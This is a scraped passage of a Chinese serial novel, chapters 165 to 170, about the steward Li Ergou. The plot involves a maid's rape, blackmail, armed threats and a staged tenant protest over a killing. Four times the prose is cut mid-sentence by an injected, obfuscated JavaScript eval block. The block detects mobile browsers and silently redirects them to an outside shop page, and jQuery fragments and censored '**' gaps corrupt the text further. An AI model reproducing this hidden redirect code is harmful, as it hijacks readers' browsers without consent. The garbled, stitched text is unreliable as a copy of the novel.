“以前的事就不要再提了,刘家庄有几户佃户一直没交租子,你去催一催,一定要注意方式方法,不要激化矛盾。” 孙家旺很高兴,因为在胡家大院,催租是一项极其重要的工作,一般人根本接触不到。 李二狗能让自己去催租,说明他还是很看重自己。 “李管家请放心,我一定不负所望,既把租子收上来,又不会节外生枝。” 孙家旺走后,李二狗吩咐人把小凤叫到自己屋中。 小凤怯生生站在门口,不敢看李二狗。 “小凤,到屋里来坐。” 小凤走进屋里,站在离门口不远的地方,一直低着头拉扯自己的衣角。 “李……管家,您找我什么事?” 胡士高曾经准备把小凤赏给李二狗,但李二狗没接受,在小凤的心目中,李二狗是瞧不起她这种人的。 “小凤,老爷去省城看病了,你暂时没有什么事情,我准备给你放几天假,回家看看爹娘。” 和李二狗预料的一样,小凤并没有任何欣喜的表情。 小凤在花一样的年纪被父母卖进胡家大院做丫鬟,她内心肯定是怨恨他们的。 这次自己被孙家旺**,爹娘不仅不给自己做主,收了人家三块大洋就对仇人感恩戴德。 她的心早已被那个家庭彻底伤透了! “小凤,怎么了?你不想回家吗?” 小凤没说话,抹起了眼泪,连哭都不敢发出声音。 “小凤,你是不是心里有什么委屈?说出来,我给你做主。” 小凤哭得更凶了。 但她不敢把心里的委屈告诉李二狗,因为孙家旺是他的人,她得罪不起。 “小凤,其实从你第一天进入胡家大院,我就对你印象深刻,觉得你特别像我一个妹妹。” 小凤抬起泪眼婆娑的眼睛,她不明白李二狗说这些话是什么意思。 其实李二狗并非完全忽悠小凤,他很同情小凤的出身和遭遇,最看不得穷人被欺负,他从她身上看到了自己曾经的影子。 “李管家,您……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800319|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小凤,你心里有什么委屈尽管告诉大哥,大哥给你做主。” 小凤泪崩了。 虽然她不明白李二狗为何突然对自己这么好,但如果在自己走投无路的时候突然有一个人愿意伸出援助之手,她肯定会毫无保留。 “李管家……” “叫大哥!” “李大哥,我……,孙管家……不……孙家旺他欺负了我!” “小凤,别着急,你慢慢说,大哥给你做主。” 小凤便原原本本把孙家旺**自己的事情告诉了李二狗。 “李大哥,我真的活不下去了!孙家旺他……他就是一个变态!比胡士高还变态!” “这个畜生,我饶不了他!” “李大哥,我知道孙家旺是你的人,求求你别告诉他是我告诉你的,把憋在心里的话说出来,心里也就好多了。” “小凤,你放心,大哥给你做主,你先回去吧。” 小凤抹着眼泪走了。 李二狗拿起笔写了一个字条,塞到信鸽腿上,放飞出去。 宋孬蛋收到飞鸽传书后,立刻带领几个弟兄下了山。 傍晚时分,孙家旺回到胡家大院。 “李管家,我们被土匪抢了!” “什么?被土匪抢了?” 看着毫发无损甚至身上连一丝尘埃都没有的孙家旺,李二狗的眼神看得他心里直发毛。 “在回来的路上,突然出现一群土匪,把收来的租金全部抢走了。” “孙家旺,你平时不是一向自诩很厉害吗?遇见土匪怎么就怂了?是不是当时就双手把租金奉上了?” “李管家,您听我说,土匪他们有枪,我真是……” “家旺,你真的是被土匪抢了?” 孙家旺被李二狗犀利的眼神吓坏了,他立刻跪在地上。 “李管家,我孙家旺对天发誓,我真是被土匪抢了!” “你紧张什么?我也只是随口一问,毕竟除了你,也没有第二个人知道此事。” “李管家,您一定要相信我啊,我真是是被土匪抢了!” 第166章 孙家旺中计 李二狗微微一笑,没有说话,只是盯着孙家旺的眼睛。 起初,孙家旺还敢与李二狗对视,但很快就败下阵来。 李二狗的眼睛里深不见底,他根本不是对手。 “李管家,这次我被土匪**了租金,是我的过错,请您责罚。” 李二狗似笑非笑地说道:“被土匪**了一点租金倒不是什么大问题,但如果自己心里住进了土匪,那才是最麻烦的,你说呢,家旺兄弟?” “李管家,我真的是被土匪**了,请您一定相信我。” 李二狗摆了摆手,说道:“家旺,我这个人有个习惯,做错了事不要紧,只要态度端正,勇于改正,我还可以继续用你,但如果做了错事,还不知悔改,那就别怪我不客气了。” 李二狗在给宋孬蛋的飞鸽传书中说的很清楚,让他们**孙家旺,但又让他们在听到孙家旺是胡家大院的人后放了他,不抢他的钱。 以李二狗对孙家旺的了解,他肯定会趁着这次被土匪**,昧下这笔钱。 一切都在李二狗的预料之中,连孙家旺藏钱的地点都被宋孬蛋安排的人暗中打探的一清二楚。 孙家旺被李二狗这一番敲打,着实吓得不轻。 但是此时如果自己承认昧下了这笔钱,肯定会被立刻赶出胡家大院。 “李管家,路上遇到土匪,我胆怯了,没有拼死反抗,请您责罚,我孙家旺绝无二话。” 孙家旺说的义正辞严,李二狗决定先不揭穿他。 “家旺,刚才小凤来找我,诉说了自己所受的委屈……” 孙家旺不等李二狗说完,马上分辩道:“李管家,您可千万别信那个疯子的胡言乱语,她是血口喷人。” 李二狗冷笑一声,问道:“家旺,别着急嘛,你都不知道她和我说了什么,就这么急着反驳,心虚了?” 孙家旺明显一怔,知道自己反应太过激烈了。 “李管家,有件事我还没来得及向您汇报。” “奥,什么事你说来我听听。” “在您去省城的那段时间,小凤趁着老爷生病卧床,她想勾引我,被我严词拒绝了。” 孙家旺表现出一副痛心疾首的表情。 “没想到她却反咬我一口,说我**她,还让她家里人来胡家大院闹,我怕闹大了给胡家大院抹黑,就私下给了她三块大洋,她这才作罢!” 孙家旺已经声泪俱下。 “李管家,没想到今天她还敢到您这颠倒是非,趁机谋取私利,您可得给我做主啊。” 孙家旺跪在地上,头磕的砰砰作响。 李二狗知道孙家旺的心思,**这种事,如果没有抓到现行,只要双方各执一词,根本就是一桩断不清的案子。 “好了,你也不用太紧张,信谁不信谁,我自有判断,你先回去吧。” “谢谢李管家,谢谢李管家。” 孙家旺离开之后,李二狗判断他肯定会去找小凤,这也是他告诉孙家旺小凤找过自己之事的原因。 夜幕降临后,李二狗来到小凤住处。 小凤开门见是李二狗,吓了一跳。 “李管家,您怎么来了?” “我来办件大事。” 小凤脸红了。 和孙家旺比起来,李二狗确实是一个令女人脸红心跳的男人。 “李管家,您请进。” 李二狗看小凤的表情知道她可能误会自己意思了。 “小凤,刚才孙家旺来找过我,他不承认曾经对你做过的事,而且还说你敲诈勒索他。” “他……他真是无耻!”小凤咬牙切齿地骂道,“李管家,您一定要相信我,我没有说一句谎话。” “小凤,你先不要着急,如果我没猜错的话,孙家旺肯定会来找你,你要想尽一切办法让他把他做过的丑事说出来。” 小凤默默地点了点头,委屈地直掉眼泪。 正在这时,外边传来一阵脚步声。 “小凤,别紧张,按我们刚才说好的做。” 李二狗说完便躲到柜子后面。 听到敲门声,小凤紧张的手心直冒汗。 “谁?” 对方没有回答,敲门声却大了许多。 小凤打开房门,孙家旺面露凶相,闯了进来。 “你……你来干什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804637|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孙家旺狞笑道:“小凤,真是想不到,你竟然学会打小报告了,敢告老子的刁状!” “我听不懂你在说什么!” “听不懂?我让你懂!” 孙家旺猛然用手掐住小凤的脖子,把她顶到墙上。 “放开我,放开我……” 李二狗知道,孙家旺只是来恐吓小凤,这个时候他不敢对小凤下毒手。 果然,片刻之后,孙家旺便松了手,小凤蹲在地上剧烈地咳嗽起来。 “我实话告诉你,李管家是我大哥,你以为他会相信你说的话吗?” 小凤哭诉道:“你……你**了我,现在还威胁我!” “哈哈,说我**你?谁看到了?我告诉你,没人会相信你说的话,你只会自取其辱。” “哼,那我就豁出去了,我要让所有人都知道你**了我,等老爷回来,一定会打断你的腿!” 孙家旺冲到小凤面前,威胁道:“老爷?你以为他还会活着回来吗?你要不听话,我就让李管家把你赶出胡家大院!” 小凤被吓得嚎啕大哭。 “孙家旺,你到底要怎么样?” “怎么样?”孙家旺盯着小凤丰满的胸脯,表情十分**,“把衣服脱了,让老子再快活一次,我保你能永远留在胡家大院!” 孙家旺一把抱住小凤,狂啃起来。 “小凤,我是真的喜欢你。” 小凤用力把他推开,娇滴滴地说道:“哼,我才不会相信你的鬼话,你如果真喜欢我,又怎会**我。” “我上次是被猪油蒙了心,只要你听话,以后我一定好好疼你,让你吃香的喝辣的。” 小凤故意大声说道:“我不信,即使老爷回不来了,可胡家大院还有大奶奶,还有李管家,你说的又不算。” “你放心,李二狗和大奶奶屋里的迎春有**,等我告诉大奶奶,大奶奶岂能容他,到时候整个胡家大院就都是咱们的了,来吧,小宝贝,我都等不及了。” “孙家旺,你小子野心不小啊。” 李二狗从柜子后面走出来,孙家旺顿时吓得瘫在地上。 第167章 孙家旺狗急跳墙 “李管家,李管家,您听我说,都是她先勾引的我,我可什么都没做啊。” 孙家旺爬到李二狗跟前,抱着他的大腿痛哭流涕。 “都这时候还不知悔改,孙家旺,你真是无药可救了!” 李二狗一脚把孙家旺踢开,孙家旺又爬到李二狗跟前,抱着大腿不松手。 “李管家,爷爷,我的亲爷爷,我知道错了,求您再给我一次机会,以后我给您做牛做马,一定不要赶我走啊。” “孙家旺,本来大家都是穷苦人家出身,为了活命才不得不来到胡家大院供人驱使,大家同命相连,更应该相互帮衬才对,可你还未得势,就这样祸害兄弟姐妹,你**还是人吗?” 李二狗再次一脚把孙家旺踢开,孙家旺跪在地上,开始疯狂扇自己耳光。 “李管家,我是畜生,我是畜生,求您饶我这一次吧。” 他用力抽打着自己的脸颊,很快嘴角就流出血来。 “孙家旺,我给过你机会,可你没抓住,这一次我不会再给你机会了!” 李二狗之所以安排宋孬蛋假装**孙家旺,就是想再给他一次机会。 男人有时候精虫上脑,犯点裤裆里的错误,并不是不可饶恕。 但他不能接受一个人对自己不忠,无论男人还是女人,一旦对自己不忠,这样的人决不能留在自己身边。 “李管家,求求您再给我一次机会吧,我一定痛改前非,重新做人。” 李二狗虽然书读的不多,但也知道江山难改、本性难移的道理,他不可能再给孙家旺机会。 看李二狗不原谅自己,孙家旺又爬到小凤跟前。 “小凤姑娘,我不是人,我是畜生,请你大人不记小人过,原谅我这一次吧,我可以娶你,以后我加倍对你好。” 小凤被孙家旺吓得连连后退,她从未见过如此厚颜无耻之人。 李二狗被孙家旺气笑了。 小凤是胡士高的使唤丫头,他竟然还承诺娶他,真是不知天高地厚。 “孙家旺,你他娘别嚎丧了,马上收拾东西给我滚蛋,我可以不追究你的责任。” 孙家旺看李二狗态度如此坚决,终于露出了他的本来面目。 他从地上爬起来,用力地抹掉嘴角的鲜血,然后狠狠地朝地上吐了一口血水。 “李二狗,我给你当牛做马这么久,你现在却要像扔死狗一样把我扫地出门,你真以为我孙家旺是好欺负的吗?” 小凤被孙家旺的眼神吓坏了,她赶紧躲到李二狗身后。 李二狗倒显得很淡定,他知道孙家旺根本不是自己的对手。 “孙家旺,我已经放你一马,你还想怎样?” “李二狗,你不要把自己当成什么正人君人,你和迎春私通,你以为能瞒得了我吗?” 李二狗心想,应该是昨晚迎春去找自己的时候被孙家旺看见了,这样的人更不能留了。 李二狗嘴角露出一丝鄙视的笑容,问道:“你想怎样?” 孙家旺知道自己和李二狗撕破脸,已经无法再留在胡家大院了。 “你给我五百块大洋,我可以保证不告诉大奶奶,你应该知道,迎春卖的是死契,你俩私通的事一旦被老爷和大奶奶知道,你这个胡家大院管家的位子还能做吗?!” 李二狗本不想赶尽杀绝,没成想孙家旺却狗急跳墙,竟然威胁自己。 “孙家旺,我再给你最后一次机会,你现在自己离开,我可以当什么都没有发生,否则……” “否则什么?李二狗,兔子急了还咬人,你别逼我。” 说着,他竟然从身后掏出一把**,吓得小凤失声惊叫起来。 李二狗默默地从腰间掏出一把驳壳枪,孙家旺立马吓得扔掉刀子,跪在地上。 “李管家,李管家,我现在就滚,求您饶我一条狗命,饶我一条狗命。” 孙家旺**小凤的事并没有被抓到现行,如果此事传扬出去,小凤肯定会被撵出胡家大院,她也就没法做人了。 “马上给我滚!不要让我再看到你。” “我知道了,我知道了。” 孙家旺狼狈逃窜。 小凤扑到李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804638|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二狗怀里,呜呜地哭了起来,她也是个苦命的女人。 李二狗轻轻拍打着她的后背,安慰道:“小凤,以后你就是我李二狗的妹子,没人敢再欺负你。” 小凤哭得更凶了。 安慰完小凤,李二狗刚回到自己院里,一个家丁跑了进来。 “李管家,大奶奶让您马上去她院里一趟。” 李二狗预感到不妙,问道:“什么事?” 家丁支支吾吾不敢说,李二狗呵斥道:“快说!” “孙家旺向大奶奶告发了您和迎春的事,大奶奶发了大火,您还是快去看看吧。” 李二狗真后悔当初没一**了孙家旺。 他来到于兰芝院门口,看到迎春正跪在地上,旁边站着孙家旺,一脸的幸灾乐祸。 “李二狗,你给我跪下!” 于兰芝挺着大肚子,手里拿着一根棍子,气的声音都变了。 李二狗走近一看,迎春脸上有两道血痕,想来身上也被打得不轻,于兰芝这是下了死手。 “大奶奶,不知道我做错了什么,为何要下跪!” 于兰芝用棍子指着李二狗,痛斥道:“你和这个小蹄子做了什么,心里没数吗?” “我和迎春姑娘清清白白,什么都没有做,大奶奶可不要轻易被奸人挑拨。” 迎春哭着说道:“大奶奶,我要是和李管家做了什么见不得人的事,让我天打五雷轰,不得好死!” “你给我住嘴!小蹄子,做出这等见不得人的勾当,还敢嘴硬!我让你嘴硬!我让你嘴硬!” 于兰芝挥舞着手中的棍子,抽打在迎春身上,迎春被打得不停地呻吟,却并不敢躲避。 孙家旺在一旁乜斜着小眼,就差笑出声了。 李二狗突然向前,一把夺过于兰芝手里的棍子,吓得于兰芝差点摔倒在地。 孙家旺更是吓坏了,他没想到李二狗竟如此胆大妄为,敢对于兰芝动粗。 “李二狗,你真是狗胆包天,竟敢对大奶奶无理,你们这些人还愣着干什么?快点把李二狗抓起来,乱棍打死!” 第168章 李二狗试探于兰芝 家丁们面面相觑,没有一个人敢对李二狗动手。 “你们都先出去吧!” 李二狗一发话,家丁们全部争先恐后地退了出去,而于兰芝并没有出言阻止。 孙家旺以为于兰芝被吓坏了,他一个箭步冲到于兰芝身前。 “大奶奶,我孙家旺就是死也定要护您周全!” “啪!” 于兰芝甩手给了孙家旺一记响亮的耳光,孙家旺完全懵逼了! “你给我滚出去,别让我再看见你!” “大奶奶……” “再不滚我打断你的腿!来人,把孙家旺给我赶出胡家大院!” 两个家丁跑进来,一边一个把孙家旺架了起来。 “大奶奶,您不能这样对我啊,我揭发有功,你可不要被李二狗蒙蔽了。” “拖出去!” 两个家丁把孙家旺架走了,于兰芝一屁股坐在地上,失声痛哭起来。 “我的命好苦啊,你们怎么可以这样对我,我真是没法活了!” 李二狗没有搭理于兰芝,反而上前把迎春扶了起来。 “哎吆!” 迎春起身的时候,身上传来一阵剧痛,于兰芝真是下了死手。 “迎春,对不起,是我连累你受委屈了。” 迎春的眼泪大颗大颗地滴落下来,她是真的委屈。 如果李二狗真的和自己私通,哪怕是被于兰芝打死,她也毫无怨言。 可李二狗根本不喜欢自己,天降横锅,真是无妄之灾。 “李管家,谢谢你,我没事。” “奸夫**!还敢在我面前勾勾搭搭,枉我这么信任你们,我今天饶不了你们。” 于兰芝站起来,又去寻找趁手的家伙。 她看到一把镰刀,摸起来就要砸向迎春。 李二狗突然从腰间掏出驳壳枪,吓得于兰芝和迎春都失声惊叫出来。 于兰芝手里的镰刀“哐当”一声掉在地上,哆哆嗦嗦说不出话来。 李二狗却把驳壳枪枪口反转,递到于兰芝面前。 “如果你不相信我,你现在就毙了我!” 李二狗突如其来的举动,把于兰芝整懵了。 “我就这么不值得你信任吗?别人一句挑唆的话就让你失去了理智?你真是太令我失望了,于兰芝,我对你很失望,特别失望!” 于兰芝抹起了眼泪。 “你们……都来欺负我!” “谁欺负你?明明是你自己无理取闹!迎春跟了你十年,她是什么人,别人不知道,你还不知道吗?她一向对你忠心耿耿,任劳任怨,你却因为一个莫须有的罪名就对她下如此狠手,你这么狠心,对得起你肚里的孩子吗?” “我……” “孩子如果知道他有这么一个心狠手辣的娘,他得多伤心?” “我……” “枉我这么信任你,没想到你却一直不信任我,我真的很伤心,特别伤心。” “二狗,我错了,对不起!” “你不要对我说对不起,你对不起的是迎春。” 于兰芝现在想想,孙家旺的话的确可疑。 迎春打小就跟着自己,一直对自己忠心耿耿,关键是她的长相非常普通,身材又很粗壮,李二狗怎么可能会选择和她私通! 于兰芝流着眼泪走到迎春面前,一把握住她的手,态度极其诚恳。 “迎春,对不起,是我错了,你原谅我好不好?” 这是于兰芝第一次向迎春道歉,迎春感动坏了。 “大奶奶,您千万别这么说,我哪受得起啊!我是您的丫鬟,您想打想骂都是您的自由,不应该向我道歉啊。” “迎春,你别说了,这次是我错了,我就得承认错误,身上的伤疼不疼,走,进屋我给你抹点药。” “大奶奶,不用,一点皮外伤,我自己抹点药就好。” 于兰芝不由分说拉着迎春的手就进了屋。 等迎春脱掉衣服,露出满身的淤青时,于兰芝真的掉泪了。 她没想到自己下手这么狠! “迎春,对不起,我下手太重了。” 于兰芝一边抹药一边流泪,迎春疼得直吸凉气,但心中却是暖暖的。 抹完药,迎春没有穿衣服,而是跪在于兰芝跟前。 “迎春,你这是做什么?快起来。” 迎春拉住于兰芝的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804639|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“大奶奶,我和李管家真的什么都没有,您要是不相信,现在就可以检查我的身体,我……我这辈子还没让男人碰过!” 于兰芝彻底相信了迎春。 “快起来,我怎么会不相信你呢,我一直拿你当亲闺女看待!” 迎春被于兰芝感动的涕泪涟涟,即使**,她也觉得这辈子值了。 安抚完迎春,于兰芝来到李二狗跟前。 李二狗没搭理她,他面无表情,正瞅着天空发呆。 “二狗,人家都知道错了,你就原谅人家嘛。” 于兰芝摇着李二狗的胳膊,就像一只摇尾乞怜的小母狗。 “二狗,你快摸摸我的肚子,宝宝正在踢我,这个小东西,现在就知道向着你了,你快摸摸啊。” 于兰芝每次都拿肚里的孩子说事,但这一招却屡试不爽,李二狗就吃这一套。 李二狗摸了摸于兰芝的肚子,里面果然在动。 “哎吆,这狗崽子可真有力气,像他爹一样坏,爷俩合伙欺负我一个人。” 李二狗心中就是有再大的气,此情此景之下,也早已烟消云散了。 于兰芝趴在李二狗怀里,柔声说道:“二狗,你知道吗?每次一想到咱们的孩子就要出生了,我就激动的睡不着,如果醒来的时候你就在我身边,那该多好啊。” 李二狗被于兰芝感动了,现在想来,自己确实是冷落了她。 不过于兰芝一向擅长演戏,也许是因为她知道胡士高已经命不久矣,想拉拢李二狗以便让自己在胡家大院站稳脚跟。 是或者不是,一试便知。 “兰芝,对不起,是我冷落了你们娘俩,我都想好了,等你把孩子生下来,我就带着你们娘俩远走高飞,我们离开胡家大院,我不能让我儿子姓别人的姓。” 于兰芝一时呆住了,她从未想过李二狗会有这种想法! 离开胡家大院? 几千亩的土地就不要了? 这么大的胡家大院就不要了? 磨坊、油坊、米铺、当铺都不要了? 还有这些伺候的丫鬟、佣人,都不要了? 她当然舍不得! 第169章 胡家大院打死人 于兰芝默不作声,李二狗心中已然知道答案。 “呵呵,我只是和你开个玩笑罢了,你可别当真!” 于兰芝立马感觉到李二狗的情绪变化,她撒娇道:“就知道你是在和我开玩笑,不过如果你真想离开这里,天涯海角我也会追随你,只是苦了咱们的孩子。” 李二狗笑道:“只要孩子过得好,姓不姓李又有什么关系,只要我知道他是我李二狗的儿子就好。” “二狗,你对我们娘儿俩真好,你要相信我,早晚有一天我会让咱们的儿子改姓李。” 于兰芝一边说着一边手脚开始不老实起来。 “兰芝,时候也不早了,我不能在这里久留,否则别人要说闲话了。” 于兰芝嘟着红彤彤的小嘴说道:“怕什么?那个老东西又不在,谁敢乱嚼舌根,我就把他赶出胡家大院,好久都没玩了,人家想嘛!” “我是担心张玲玉,她可一直都盯着你这里。” 于兰芝赶忙从李二狗怀里起来,下意识地整理了一下着装。 “张玲玉这个狐狸精,早晚有一天我会把她赶出胡家大院,到时候咱们就可以想干什么就干什么了。” 李二狗哀叹道:“兰芝,胡氏宗族在当地树大根深,人言可畏啊!” 一句话让于兰芝彻底哑口无言。 “我先走了,你好好休息,明天我再来看你。” 李二狗出来之后,特意向张玲玉院子方向瞅了瞅,这边闹得动静这么大,她不可能没听到。 可奇怪的是,张玲玉院子里连灯都没有亮。 李二狗本欲前往一探究竟,但还是忍住了。 他径直来到门房。 “孙家旺赶走了吗?” 一个看门的家丁说道:“李管家,孙家旺已经被赶走了。” “他说什么没有?” 家丁支支吾吾,欲言又止。 “你尽管说,又不是你说的,你担心什么?” 家丁说道:“孙家旺骂您骂得很难听,他说让您等着,他不会让您好过。” 李二狗冷笑一声,自己的仁慈非但没能让他感恩,反而让他变本加厉。 果然人都是畏威不畏德。 “你们几个晚上都给我机灵着点,看好院门,不要让野狗跑进来乱咬人。” “放心吧,李管家,遇见野狗我们就乱棍打死!” 李二狗回到屋里,躺在床上,辗转反侧睡不着,脑子里总是出现张玲玉的样子。 当初令自己神魂颠倒的红肚兜总是在脑海里挥之不去。 对于张玲玉,李二狗的情感是复杂的。 张玲玉屡次谋害李二狗,按照李二狗为人处世的原则,他绝对接受不了这个女人。 可也不知道为什么,她屡次犯错他屡次原谅。 也许是张玲玉这个女人身上有毒,男人一旦沾染,就会神魂颠倒,甚至变得利令智昏。 李二狗是一个普通男人,他也会犯全世界男人都会犯的错误。 睡梦中,李二狗多次梦见张玲玉的红肚兜,早上醒来,浑身像散了架一般,软弱无力。 “李管家,不好了,门外来了几十个佃户,说是昨晚咱们派去收租的人打死了人,现在他们把尸体抬到大门口,一定让咱们给个说法。” 李二狗快速回想了一下,昨晚并没有派人下去收租。 每次派人收租,李二狗都再三交代,一定不能出人命。 李二狗急忙来到大院门口,几十个佃户神情激愤。 一个女人和两个孩子披麻戴孝,正坐在地上嚎啕大哭,身后牛车上停放着一具尸体,身上只盖了一张草席。 “严惩杀人凶手!” “血债必须血偿!” “交出杀人凶手!” …… 李二狗给身旁一个家丁使了个眼色,家丁大声喊道:“大家静一静,这是我们李管家,他有话要和大家说。” “让胡士高出来,我们要见胡士高。” “对,让胡士高出来,别做缩头乌龟。” 李二狗大声喊道:“大家不要激动,先听我说。” “我们要见胡士高!” “让胡士高滚出来!” 李二狗瞅了一眼,人群后面有两个人正带头呼喊着口号,李二狗总感觉这两个人有点眼熟,好像在哪里见过,一时又想不起来。 “大家听我说,我们老爷去省城看病了,你们有什么事可以先和我说。” “和你说?你说了又不算,我们要和说了算的说。” “让胡士高的姨太太出来。” “对,让胡士高的小老婆出来。” 在后面两个人的怂恿下,人群开始骚动,大家有要冲进胡家大院的冲动。 “大家听我说,现在胡家大院由我说了算,到底发生了什么事,请你们派一个代表出来和我说清楚,不然这样闹下去根本解决不了问题。” 这时,站在人群最前面的一个老年人站了出来。 “你真能做主?” “我是胡家大院管家李二狗,我要先知道到底发生了什么事,才能给你明确答复。” 老年人回过头冲着人群挥了挥手,示意大家先安静下来。 “我是李家堡村村长李保民。” “李村长,你好。” “昨天晚上,你们胡家大院派人到我们村收租,李大民年前生了一场大病,家里实在交不起租,你们的人打了他不说,还要欺侮李大民的媳妇,李大民气不过,拉扯中,你们竟然把他打死了!” “我的老天爷啊,我实在是没法活了!” 李大民的媳妇嚎啕着从地上爬起来,就俯着身子撞向门口的石狮子。 “快拉住她!” 两个人立马上前拉住李大民的媳妇,两个孩子抱着她的大腿,哭声震天。 “我真是没脸活了!李大民,你这个杀千刀的,你就这样扔下我们娘仨撒手走了,以后我们娘仨可怎么活啊!” “都是这个管家教唆手下打人的,让他偿命!” “对,让他给大民兄弟偿命!” “偿命!” “偿命!” …… 李二狗嗅到一股阴谋的味道,这分明是有人在背后捣鬼! 人群汹涌着挤向前,两个家丁举着枪对准了人群,大家一时被吓住了! “大家不要怕,他们不敢开枪!” “为大民兄弟报仇!” “让李二狗偿命!” 面对群情激愤的人群,李二狗深知一个不慎,就可以造成无法挽回的后果。 第170章 三天期限 李二狗心想,如果真是胡家大院收租之人杀了人,为何他们不去县警察局报案,反而抬着尸体来到胡家大院门口喊冤? “我们冲进去,让李二狗偿命!” “大家跟我冲!” …… 情急之下,李二狗掏出驳壳枪,对着天空“砰砰”两枪,人群顿时安静下来。 “大家听我说,私闯民宅是犯法的,你们一定要冷静!” 李保民带领大家来胡家大院就是要讨个说法,说白了就是要点赔偿,事情闹大了,他也承担不起这个责任。 “大家先静一静,先听听他怎么说。” 李二狗说道:“李村长,实不相瞒,昨天晚上我们胡家大院根本没有派人下去收租。” “你们打死人还想抵赖?当我们李家堡没有男人了是吗?” “是男人的都站出来,一定要给大民兄弟讨个公道!” 人群再次骚动起来。 李二狗一直在暗中观察,每次挑头喊口号的都是站在人群后面的两个人。 李二狗面对激愤的人群,毫无畏惧,他穿过人群,径直来到那两个人跟前。 两个人明显有些紧张,低着头,帽檐压低盖住了眼睛。 “两位兄弟如此卖力,实在是令人佩服,何不站到前面去说说,一直躲在后面难道是心虚不成?” “我们……心虚什么?明明是你们打死了人,你别威胁我们,我们不怕!” “不怕?那就站到前面去!” 李二狗一把扯下其中一个人的帽子,大声问道:“李村长,这个人可是你们李家堡村的人?” 大家的目光齐刷刷看过来。 “这位后生看着面生,不是我们李家堡的人。” “我们路见不平……不行吗?你们胡家大院打死人还想抵赖,仙人洞镇没有王法了吗?” 李二狗拉着他的手腕,手上一发力,疼得他惨叫一声。 “胡家大院打人了!胡家大院打人了!” 李二狗死死捏住他的手腕。 “你们到底是什么人?说!” “我们就是路见不平一声吼,你们胡家大院杀了人不仅不承认还想威胁哦我们,我就不信你们能一手遮天!告诉你,爷爷我不怕!” “快把人放了!” 另一个人大声喊道,并鼓动其他人跟着他呼喊。 不明真相的群众一起喊道:“放人!” “放人!” …… 李二狗只能放开那个人的手腕,刚一松手,两人就趁机向后跑去。 他掏出驳壳枪,瞄准了正在逃窜的两个人,但最终还是没有选择开枪。 佃户们一看这架势,顿时噤了声。 自己只是被叫来帮个人场,要是为了别人的事丢了自己的性命,实在是得不偿失。 “李管家,你……你这是干什么?老朽我活了七十多岁,什么风浪没见过?你这样可唬不住我们!” “李村长,您误会了,和您说实话,我们胡家大院昨晚真的没有派人下去收租,这里面一定有什么误会。” “误会?难道是别人不请自来,自愿为你们收租吗?老朽虽然年纪大了,可并不是老糊涂。” “李村长,您看这样行不行?我先给李大民家拿三十块大洋,让他们回家先把丧事办了,毕竟死者为大,入土为安。” 三十块大洋,和李保民心里的底线倒是相差无几。 “给我们三天时间,三天之内我一定会给你们一个交代,您看怎么样?” “好,老朽就相信李管家这一回,三天之后,如果你不能给我们一个明确的交代,老朽就是拼上这条老命,也一定要讨回一个公道。” 李二狗命人取来三十块大洋,交到李保民手上。 看着李大民媳妇和两个嗷嗷待哺的孩子,李二狗的眼泪止不住流下来。 他从小没娘,知道单亲家庭的不易,更何况对方还是一个女人。 李二狗走到李大民媳妇跟前,两个孩子吓得立马躲到她怀里。 李二狗伸出手,抚摸了一下孩子的脸颊,孩子虽然瘦得皮包骨头,但眉眼间却有一股英气。 “你要干什么?” 李二狗从兜里掏出二十块大洋塞到她手里。 “这是我个人的一点意思,给孩子买点吃的。” 李大民媳妇被李二狗整的不会的,这样的人他还是第一次遇见。 李二狗的善行也感动了李保民。 “李管家既然答应三天之内给我们一个交代,那我们就先回吧,让大民入土为安。” 李大民媳妇给李二狗深深地鞠了一躬,领着两个孩子,坐上牛车,哭着走了。 佃户们撤走之后,李二狗按照先前宋孬蛋告诉自己的地址,来到孙家旺的住处,大门紧锁。 李二狗便上了清风寨。 “狗哥,你怎么来了?想我嫂子了吧?哈哈。” 陈老三开完玩笑之后才发现李二狗一脸严肃,便及时住了嘴。 “孬蛋,把兄弟们全部集合起来,所有人,一个不许少!” 